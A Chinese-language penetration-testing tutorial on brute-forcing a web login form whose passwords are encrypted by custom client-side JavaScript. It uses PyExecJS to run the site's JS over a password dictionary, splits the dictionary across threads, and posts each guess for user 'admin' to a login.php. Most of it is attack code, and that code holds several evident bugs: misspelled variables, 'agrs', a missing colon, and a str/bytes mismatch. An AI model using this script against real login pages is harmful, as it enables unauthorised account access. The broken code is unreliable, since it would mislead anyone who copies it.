概述
在渗透测试中,有时用户密码在传输时加密方式是用自定义编写的JS脚本加密,不能直接用来爆破,但我们可以利用其自定义的JS将字典加密后多线程爆破。
思路分析
思路有两种,一种是分析JS代码,分析出其加密算法,然后我们转换成我们熟悉的编程语言得到加密后的字典进行爆破;另一种思路是不用分析JS代码,直接利用现成的JS,将字典传入JS加密后得到JS的返回结果进行爆破。这里文章主要讲第二种,直接利用其JS。
分析JS
第一种方法一般用于简单的JS代码,我们可以很简单的看出其算法。大家可以参考绕过前端加密 这篇文章。
执行JS
第二种方法,我们直接利用JS,不用分析JS算法如何,首先需要安装execjs。
pip install PyExecJS
这里我们用md5.js为例利用,将md5.js保存在本地。
我们不用分析JS是如何计算的,但我们要知道JS利用的函数名称,md5.js中得到最后加密结果的函数是hex_md5();利用以下代码即可获得加密后的结果。
import execjs
with open ('md5.js','r') as jj:
source = jj.read()
phantom = execjs.get('PhantomJS')
getpass = phantom.compile(source)
mypass = getpass.call('hex_md5', 'admin') #hex_md5是函数名称
print (mypass)
这样我们就可以编写一个加密函数getpass(),然后将整本字典跑完后发送requests包进行爆破。
多线程处理字典
为什么要先处理字典呢,因为渗透测试过程中,我们的字典可能不是几十条的小数据,有时可能达到几十兆,面对如此多的数据,如果一条一条加密返回那么太浪费时间了,所以我们需要多线程。
每个线程处理的字典数应该是总字典数除于线程数,而且应该向上取整,例如我们设定线程是10,如果一本字典500条,那么一个线程处理的字典数就是50条;如果是505条,那么平均每个线程的处理字典数是50.5条,我们需要取51条,那么就是前9个线程处理51条,最后一个线程处理剩余的字典数。
我们整理后的字典是什么样呢,是以列表为元素的列表集合,[[],[],[]]其中的每一个元素是该线程处理的字典内容。
import math
import threading
thread=10
resulit_list=[] #结果列表,元素为该线程处理的字典内容
thread_list=[] #线程列表,元素为处理字典的线程
with open ("dict.txt","r") as f:
dict_list=f.readlines()
if len(dict_list)%thread==0:
each_thread=len(dict_list)/thread
else:
eacg_thread=math.ceil(len(dict_list)/thread) #math.ceil是向上取整
i=0
temp_list=[] #缓存列表,用来存放目前线程中的字典内容
for line in dict_list:
i=i+1
if i%each_thread ==0: #说明该线程处理内容已满
temp_list.append(line.strip()) #将字典内容放入缓存列表
result_list.append(temp.list) #该线程已处理完所以内容 将该线程内容放入结果列表
temp_list=[] #清空缓存列表,用于存放下一个线程的处理内容
else:
temp_list.append(line.strip()) #此时线程处理内容还没结束 所以只需将内容加入缓存列表。
所以内容处理结果最后会保存在result_list中,并且有10个元素,分别代表10个线程所处理的内容,我们将10个线程加入我们的线程列表中。
for i in result_list:
thread_list.append(threading.Thread(target=brute,agrs=(i,))) #将每个线程所要处理的内容传给brute函数进行爆破
for t in thread_list:
t.start() #启动所有线程
爆破函数
下面缺少的就是爆破函数brute(),函数很简单,发送requests包并检验返回包中内容是否有错误语句和字段来判断是否爆破成功。
def brute(dict):
url= "http://127.0.0.1/login.php"
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0'}
import requests
for line in dict:
payload="username=admin&password=%s" %line
response=requests.post(url=url,data=payload,headers=headers,timeout=5)
result=response.content
if result.count("fail")<1 #判断页面中是否有fail内容
print("success! password is %s"%line)
else:
pass